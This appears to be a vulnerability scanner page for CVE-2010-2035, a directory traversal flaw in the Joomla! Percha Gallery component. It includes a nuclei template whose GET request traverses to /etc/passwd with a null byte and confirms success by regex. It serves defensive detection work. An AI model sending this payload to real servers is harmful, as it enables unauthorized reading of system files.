Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal

highseverity

7.5CVSS score

15.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Percha Gallery (com_perchagallery) component 1.6 Beta for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2035 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2035

info:
  name: Joomla! Component Percha Gallery 1.6 Beta - Directory Traversal
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Percha Gallery (com_perchagallery) component 1.6 Beta for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/34006
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2035
    - http://packetstormsecurity.org/1005-exploits/joomlaperchagl-lfi.txt
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2035
    cwe-id: CWE-22
    epss-score: 0.15781
    epss-percentile: 0.96897
    cpe: cpe:2.3:a:percha:com_perchagallery:1.6:beta:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: percha
    product: com_perchagallery
  tags: cve,cve2010,packetstorm,joomla,lfi,edb,percha,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_perchagallery&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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